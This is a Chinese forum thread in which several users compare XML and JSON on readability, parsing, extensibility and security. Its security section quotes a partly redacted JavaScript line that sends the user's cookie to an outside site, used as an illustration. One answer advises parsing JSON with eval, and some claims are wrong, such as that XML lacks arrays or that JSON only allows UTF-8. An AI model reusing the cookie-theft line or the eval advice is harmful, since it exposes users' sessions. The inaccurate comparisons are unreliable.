xml和json的区 别是什么?

2020-08-18 10:26发布

4条回答
苏橙C
2楼 · 2020-08-18 10:27
·  JSON相对于XML来讲,数据的体积小,传递的速度更快些
·  JSON与JavaScript的交互更加方便,更容易解析处理,更好的数据交互
·  XML对数据描述性比较好;
·  JSON的速度要远远快于XML;


aijingda
3楼 · 2020-08-18 10:45

JSON(JavaScript Object Notation)是一种轻量级的数据交换格式,它完全独立于语言。它基于JavaScript编程语言,易于理解和生成。

XML(可扩展标记语言)旨在传输数据,而不是显示数据。这是W3C的推荐。可扩展标记语言(XML)是一种标记语言,它定义了一组规则,用于以人类可读和机器可读的格式编码文档。XML的设计目标侧重于Internet上的简单性,通用性和可用性。它是一种文本数据格式,通过Unicode为不同的人类语言提供强大的支持。尽管XML的设计侧重于文档,但该语言被广泛用于表示任意数据结构,例如Web服务中使用的那些数据结构。

JSON和XML之间的区别

以下是JSON和XML之间的一些区别:

1、JSON是JavaScript Object Notation;XML是可扩展标记语言。

2、JSON是基于JavaScript语言;XML源自SGML。

3、JSON是一种表示对象的方式;XML是一种标记语言,使用标记结构来表示数据项。

4、JSON不提供对命名空间的任何支持;XML支持名称空间。

5、JSON支持数组;XML不支持数组。

6、XML的文件相对难以阅读和解释;与XML相比,JSON的文件非常易于阅读。

7、JSON不使用结束标记;XML有开始和结束标签。

8、JSON的安全性较低;XML比JSON更安全。

9、JSON不支持注释;XML支持注释。

10、JSON仅支持UTF-8编码;XML支持各种编码。

以上就是JSON和XML之间的区别是什么的详细内容。


魏魏姐
4楼 · 2020-08-19 13:40

XML 和JSON是两种完全不同的数据表达方式。他们分别采用完全不同格式将原始数据转换成XML或者JOSN格式数据;然后再将XML或JOAN格式的数据还原为原始数据

我的网名不再改
5楼 · 2020-08-21 12:32

JSON(Javascript Object Notation) 是一种轻量级的数据交换格式。易于人阅读和编写。同时也易于机器解析和生成。它基于Javascript Programming Language, Standard ECMA-262 3rd Edition – December 1999的一个子集。JSON采用完全独立于语言的文本格式,但是也使用了类似于C语言家族的习惯(包括C, C++, C#, Java, Javascript, Perl, Python等)。这些特性使JSON成为理想的数据交换语言。本文将从下面几个方面来客观比较一下两者的区别:

  1.      可读性

  2.      是否易于在服务端创建数据

  3.     是否易于在客户端处理数据

  4.      扩展性

  5.      调试和故障排除

  6.      安全

  7.     数据交换格式比较之关于轻量级和重量级

  8.     数据交换格式比较之关于数据格式编码及解析的难度

  1.可读性

  两者都具备很好的可读性,但从实际应用出发,个人还是觉得XML文档的可读性无疑会更高,要求你从一大堆的json代码里看出它的结构层次关系还是 相对比较困难的;而且现在很多的IDE工具都可以把XML格式化成易读的结构形式,看起来相当舒服,而json则不然。

2.是否易于在服务端创建数据

XML已经流行了好多年了,故目前流行的编程语言都已经存在大量的XML数据绑定API去进行创建XML,以java语言为例,你既可以用JAXB,又可以用XmlBeans,又或者dom4j、jdom等去把数据写到xml文件中。而另一方面,json这一方面的API则相对是一个全新的领域,尽管如此,json官方网站还是列出了很多令人印象深刻的各种语言的API,java方面比较著名的有json-lib,此外gson也算一个。在这一方面,虽然json相对于XML并不是望尘莫及,但还是略微逊色一筹,尤其是在复杂的应用方面,XML方面的API已经存在多年,相对来说成熟稳定得多了。soap 就是基于xml 标准建立起来的。

 

3. 是否易于在客户端处理数据

  在客户端,要处理XMLHttpRequest请求返回的json格式响应数据是一件轻而易举的事情,只需要使用javascript的eval函 数就可以实现把json格式的数据转换成javascript对象,然后通过对象的属性去访问值,这就是json最优雅之处,无数人为之着迷。而XML在 这一方面就不是那么的友善了,曾令无数的程序员头痛不已,因为处理XML响应数据,你得通过DOM树,这是非常繁琐且容易出错的工作。这一点,json要优于 xml 。

 

4.扩展性

  可扩展性有助于减少生产者与消费者之间的数据耦合。在AJAX应用里,客户端脚本应该合理地兼容不可知的数据扩展。

  毫无疑问,XML是可扩展的,但它的扩展是有局限的,因为如果你要适应扩展的话,那么你的客户端代码不得不作出相应的改动,如以下的客户端解析代码:

var xml = xhr.responseXML; 
var elements = xml.getElementsByTagName("firstName"); 
var firstNameEl = elements[0]; 
var lastNameEl = firstNameEl.nextSibling;

如果你在响应xml中结点后增加了这一结点的话,那以上的代码就要作相应 的改变,否则会出错,也就是说,XML的扩展得伴随着解析代码的变更,这可没有什么魔法可言。而json则简单得多,即使你要增加middleName这 一属性,在js客户端依然是通过对象访问属性值即可,而不会引起js上的语法出错之类的错误,导致程序无法执行。

5.调试和故障排除

  这方面需要从服务端和客户端两方面进行考虑,在服务器端,要确保数据是格式良好的和有效的;在客户端,它应该容易调试错误的。

  使用XML的话会相对容易地检查数据被发送到客户端是格式良好的和有效的。您还可以使用数据架构(schema)来验证xml的正确性和有效性。使用JSON,这个任务是手动的,并涉及验证响应对象中是否包含正确的属性。

  在客户端,要从两者中找到错误都是比较困难的。对于XML,浏览器是完全无法将xml格式化成responseXML;如果对于数据量较少的json数据,还可以通过firebug来发现错误,但对于大数据量的话,那只能靠手工检查了.

 

6.安全性

  有人认为,使用json是不安全的,原因是json里可以包含js代码,而客户端中使用eval可以使这些代码执行,而这些代码可能会存在安全隐患。如以下的代码:

[removed] = "http://baidu.com?" + [removed]; person : { 
 "firstName" : "wisdom", 
 "lastName" : "hu" }

上面的代码会导致浏览器把用户的cookie数据提交到一个流氓网站。但出现这种情况的可能只会是开发者故意为之,别人是无法这样做的,但如果是开 发者有意为之的话,那他一样以别的方式来实现把你的cookie数据提交到流氓网站,这与是否使用json无关,所以相对于XML,json是同样的安全的。

7.数据交换格式比较之关于轻量级和重量级

  轻量级和重量级是相对来说的,那么XML相对于JSON的重量级体现在哪呢?我想应该体现在解析上,XML目前设计了两种解析方式:DOM和SAX;

  DOM是把一个数据交换格式XML看成一个DOM对象,需要把XML文件整个读入内存,这一点上JSON和XML的原理是一样的,但是XML要考虑 父节点和子节点,这一点上JSON的解析难度要小很多,因为JSON构建于两种结构:key/value,键值对的集合;值的有序集合,可理解为数组;

  SAX不需要整个读入文档就可以对解析出的内容进行处理,是一种逐步解析的方法。程序也可以随时终止解析。这样,一个大的文档就可以逐步的、一点一点的展现出来,所以SAX适合于大规模的解析。这一点,JSON目前是做不到得。

  所以,JSON和XML的轻/重量级的区别在于:JSON只提供整体解析方案,而这种方法只在解析较少的数据时才能起到良好的效果;而XML提供了对大规模数据的逐步解析方案,这种方案很适合于对大量数据的处理。

 

8,数据交换格式比较之关于数据格式编码及解析的难度

  在编码上,虽然XML和JSON都有各自的编码工具,但是JSON的编码要比XML简单,即使不借助工具,也可以写出JSON代码,但要写出好的 XML代码就有点困难;与XML一样,JSON也是基于文本的,且它们都使用Unicode编码,且其与数据交换格式XML一样具有可读性。

  主观上来看,JSON更为清晰且冗余更少些。JSON网站提供了对JSON语法的严格描述,只是描述较简短。从总体来看,XML比较适合于标记文档,而JSON却更适于进行数据交换处理。

  在解析上,在普通的web应用领域,开发者经常为XML的解析伤脑筋,无论是服务器端生成或处理XML,还是客户端用 JavaScript 解析XML,都常常导致复杂的代码,极低的开发效率。

 


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